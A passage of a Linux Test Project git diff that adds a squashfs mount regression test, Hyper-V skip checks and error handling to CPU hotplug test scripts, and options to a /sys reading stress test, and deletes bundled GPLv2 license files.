+	destroy_workers();
 	free(workers);
 }
 
@@ -383,6 +620,7 @@
 	struct stat dent_st;
 	char dent_path[MAX_PATH];
 	enum dent_action act;
+	int last_sched = 0;
 
 	dir = opendir(path);
 	if (!dir) {
@@ -430,7 +668,7 @@
 		if (act == DA_VISIT)
 			visit_dir(dent_path);
 		else if (act == DA_READ)
-			rep_sched_work(dent_path, reads);
+			last_sched = sched_work(last_sched, dent_path, reads);
 	}
 
 	if (closedir(dir))
@@ -441,35 +679,39 @@
 {
 	spawn_workers();
 	visit_dir(root_dir);
-	stop_workers();
 
-	tst_reap_children();
+	stop_workers();
+	reap_children();
+	destroy_workers();
+
 	tst_res(TPASS, "Finished reading files");
 }
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
 		{"v", &verbose,
-		 "-v       Print information about successful reads."},
+		 "Print information about successful reads."},
 		{"q", &quiet,
-		 "-q       Don't print file read or open errors."},
+		 "Don't print file read or open errors."},
 		{"d:", &root_dir,
-		 "-d path  Path to the directory to read from, defaults to /sys."},
+		 "Path to the directory to read from, defaults to /sys."},
 		{"e:", &blacklist[0],
-		 "-e pattern Ignore files which match an 'extended' pattern, see fnmatch(3)."},
+		 "Pattern Ignore files which match an 'extended' pattern, see fnmatch(3)."},
 		{"r:", &str_reads,
-		 "-r count The number of times to schedule a file for reading."},
+		 "Count The number of times to schedule a file for reading."},
 		{"w:", &str_max_workers,
-		 "-w count Set the worker count limit, the default is 15."},
+		 "Count Set the worker count limit, the default is 15."},
 		{"W:", &str_worker_count,
-		 "-W count Override the worker count. Ignores (-w) and the processor count."},
+		 "Count Override the worker count. Ignores (-w) and the processor count."},
 		{"p", &drop_privs,
-		 "-p       Drop privileges; switch to the nobody user."},
+		 "Drop privileges; switch to the nobody user."},
+		{"t:", &str_worker_timeout,
+		 "Milliseconds a worker has to read a file before it is restarted"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = run,
 	.forks_child = 1,
+	.max_runtime = 100,
 };
-
diff --git a/testcases/kernel/fs/scsi/ltpfs/main.c b/testcases/kernel/fs/scsi/ltpfs/main.c
index dc3e8f3..90a5531 100644
--- a/testcases/kernel/fs/scsi/ltpfs/main.c
+++ b/testcases/kernel/fs/scsi/ltpfs/main.c
@@ -38,7 +38,7 @@
 int showchar[] = { 124, 47, 45, 92, 124, 47, 45, 92 };
 
 int nullFileHandle;
-int openlog[2] = { 0, 0 };
+static int openlog[2] = { 0, 0 };
 
 int cFileCount, dFileCount, errorCount;
 static int disk_space_pool = 0;
@@ -391,7 +391,7 @@
 {
 	dev_t devt;
 	struct stat statbuf;
-	int rc;
+	int rc = 0;
 
 	if (ltp_block_dev_handle == 0) {
 
diff --git a/testcases/kernel/fs/squashfs/.gitignore b/testcases/kernel/fs/squashfs/.gitignore
new file mode 100644
index 0000000..d28920f
--- /dev/null
+++ b/testcases/kernel/fs/squashfs/.gitignore
@@ -0,0 +1 @@
+squashfs01
diff --git a/testcases/kernel/fs/squashfs/Makefile b/testcases/kernel/fs/squashfs/Makefile
new file mode 100644
index 0000000..6702113
--- /dev/null
+++ b/testcases/kernel/fs/squashfs/Makefile
@@ -0,0 +1,9 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/squashfs/squashfs01.c b/testcases/kernel/fs/squashfs/squashfs01.c
new file mode 100644
index 0000000..502de41
--- /dev/null
+++ b/testcases/kernel/fs/squashfs/squashfs01.c
@@ -0,0 +1,120 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+ */
+
+/*\
+ * [Description]
+ *
+ * Kernel commits
+ *
+ * - f37aa4c7366 (squashfs: add more sanity checks in id lookup)
+ * - eabac19e40c (squashfs: add more sanity checks in inode lookup)
+ * - 506220d2ba2 (squashfs: add more sanity checks in xattr id lookup)
+ *
+ * added some sanity checks, that verify the size of
+ * inode lookup, id (uid/gid) and xattr blocks in the squashfs,
+ * but broke mounting filesystems with completely filled blocks.
+ * A block has a max size of 8192.
+ * An inode lookup entry has an uncompressed size of 8 bytes,
+ * an id block 4 bytes and an xattr block 16 bytes.
+ *
+ *
+ * To fill up at least one block for each of the three tables,
+ * 2048 files with unique uid/gid and xattr are created.
+ *
+ *
+ * The bugs are fixed in kernel commits
+ *
+ * - c1b2028315c (squashfs: fix inode lookup sanity checks)
+ * - 8b44ca2b634 (squashfs: fix xattr id and id lookup sanity checks)
+ */
+
+#include <stdio.h>
+#include <sys/mount.h>
+
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+
+static const char *MOUNT_DIR = "mnt";
+static const char *DATA_DIR = "data";
+
+static int mounted;
+
+static void cleanup(void)
+{
+	if (mounted)
+		SAFE_UMOUNT("mnt");
+}
+
+static void setup(void)
+{
+	int i;
+
+	tst_res(TINFO, "Test squashfs sanity check regressions");
+
+	SAFE_MKDIR(DATA_DIR, 0777);
+
+	for (i = 0; i < 2048; ++i) {
+		int fd;
+		char name[20];
+
+		sprintf(name, "%s/%d", DATA_DIR, i);
+		fd = SAFE_OPEN(name, O_CREAT | O_EXCL, 0666);
+		SAFE_FCHOWN(fd, i, i);
+
+		/* This must be either "security", "user" or "trusted" namespace,
+		 * because squashfs cannot store other namespaces.
+		 * Since the files are most likely created on a tmpfs,
+		 * "user" namespace is not possible, because it is not allowed.
+		 */
+		SAFE_FSETXATTR(fd, "security.x", &i, sizeof(i), 0);
+		close(fd);
+	}
+
+	/* Create squashfs without any compression.
+	 * This allows reasoning about block sizes.
+	 * Redirect stdout, to get rid of undefined uid messages
+	 */
+	const char *argv[] = {
+		"mksquashfs", DATA_DIR, tst_device->dev,
+		"-noappend", "-noI", "-noD", "-noX", "-noF", NULL
+	};
+	tst_cmd(argv, "/dev/null", NULL, 0);
+
+	SAFE_MKDIR(MOUNT_DIR, 0777);
+}
+
+static void run(void)
+{
+	if (mount(tst_device->dev, MOUNT_DIR, "squashfs", 0, NULL) != 0)
+		tst_brk(TFAIL | TERRNO, "Mount failed");
+	mounted = 1;
+
+	SAFE_UMOUNT("mnt");
+	mounted = 0;
+
+	tst_res(TPASS, "Regression not detected");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = cleanup,
+	.setup = setup,
+	.needs_root = 1,
+	.needs_device = 1,
+	.dev_min_size = 1,
+	.needs_cmds = (const char *const []) {
+		"mksquashfs",
+		NULL
+	},
+	.needs_drivers = (const char *const []) {
+		"squashfs",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "c1b2028315c"},
+		{"linux-git", "8b44ca2b634"},
+		{}
+	},
+};
diff --git a/testcases/kernel/hotplug/cpu_hotplug/COPYING b/testcases/kernel/hotplug/cpu_hotplug/COPYING
deleted file mode 100644
index c1de4a3..0000000
--- a/testcases/kernel/hotplug/cpu_hotplug/COPYING
+++ /dev/null
@@ -1,342 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
-
-These tests are OSDL/LF and imported into LTP under GPLv2.
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
index 1ba937c..01b05af 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
@@ -111,6 +111,10 @@
 
 tst_require_cmds perl
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
 fi
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh
index 792f8cd..ba274db 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh
@@ -54,6 +54,10 @@
 
 LOOP_COUNT=1
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
 fi
@@ -86,7 +90,10 @@
 	set_affinity ${SPIN_LOOP_PID} ${CPU_TO_TEST}
 
 	# Verify the process migrated to the CPU we intended it to go to
-	offline_cpu ${CPU_TO_TEST}
+	if ! offline_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined"
+	fi
+
 	NEW_CPU=`ps --pid=${SPIN_LOOP_PID} -o psr --no-headers`
 	if [ -z "${NEW_CPU}" ]; then
 		tst_brkm TBROK "PID ${SPIN_LOOP_PID} no longer running"
@@ -97,7 +104,10 @@
 	fi
 
 	# Turn the CPU back online just to see what happens.
-	online_cpu ${CPU_TO_TEST}
+	if ! online_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined"
+	fi
+
 	LOOP_COUNT=$((LOOP_COUNT+1))
 done
 
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
index 9ea49f0..3a461e3 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
@@ -63,6 +63,10 @@
 
 LOOP_COUNT=1
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 cpus_num=$(get_present_cpus_num)
 if [ $cpus_num -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh
index fa4e247..72bd980 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh
@@ -48,6 +48,10 @@
 
 LOOP_COUNT=1
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 cpus_num=$(get_present_cpus_num)
 if [ $cpus_num -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
index 95a8f4a..1eb204f 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
@@ -36,7 +36,9 @@
 do_clean()
 {
 	pid_is_valid ${SAR_PID} && kill_pid ${SAR_PID}
-	online_cpu "$CPU_TO_TEST"
+	if ! online_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined"
+	fi
 }
 
 get_field()
@@ -61,6 +63,10 @@
 
 tst_require_cmds sar
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
 fi
@@ -145,7 +151,10 @@
 		tst_exit
 	fi
 
-	offline_cpu ${CPU_TO_TEST}
+	if ! offline_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined"
+	fi
+
 	kill_pid ${SAR_PID}
 
 	LOOP_COUNT=$((LOOP_COUNT+1))
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh
index 2a62225..b9c1889 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh
@@ -49,6 +49,10 @@
 
 LOOP_COUNT=1
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 if top -v | grep -q htop; then
 	tst_brkm TCONF "htop is used instead of top (workaround: alias top='/path/to/real/top')"
 fi
@@ -95,7 +99,10 @@
 		tst_exit
 	fi
 
-	online_cpu ${CPU_TO_TEST}
+	if ! online_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined"
+	fi
+
 	kill_pid ${TOP_PID}
 
 	LOOP_COUNT=$((LOOP_COUNT+1))
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh
index 2783046..af170f1 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh
@@ -55,6 +55,10 @@
 
 LOOP_COUNT=1
 
+if tst_virt_hyperv; then
+	tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+fi
+
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
 fi
@@ -96,9 +100,9 @@
 	# Move spin_loop.sh to the CPU to offline.
 	set_affinity ${KCOMPILE_LOOP_PID} ${CPU_TO_TEST}
 
-	offline_cpu ${CPU_TO_TEST}
-	RC=$?
-	echo "Offlining cpu${CPU_TO_TEST}: Return Code = ${RC}"
+	if ! offline_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined"
+	fi
 
 	NEW_CPU=`ps --pid=${KCOMPILE_LOOP_PID} -o psr --no-headers`
 	if [ -z "${NEW_CPU}" ]; then
@@ -109,9 +113,9 @@
 		tst_exit
 	fi
 
-	online_cpu ${CPU_TO_TEST}
-	RC=$?
-	echo "Onlining cpu${CPU_TO_TEST}: Return Code = ${RC}"
+	if ! online_cpu ${CPU_TO_TEST}; then
+		tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined"
+	fi
 
 	LOOP_COUNT=$((LOOP_COUNT+1))
 
diff --git a/testcases/kernel/hotplug/memory_hotplug/COPYING b/testcases/kernel/hotplug/memory_hotplug/COPYING
deleted file mode 100644
index c1de4a3..0000000
--- a/testcases/kernel/hotplug/memory_hotplug/COPYING
+++ /dev/null
@@ -1,342 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
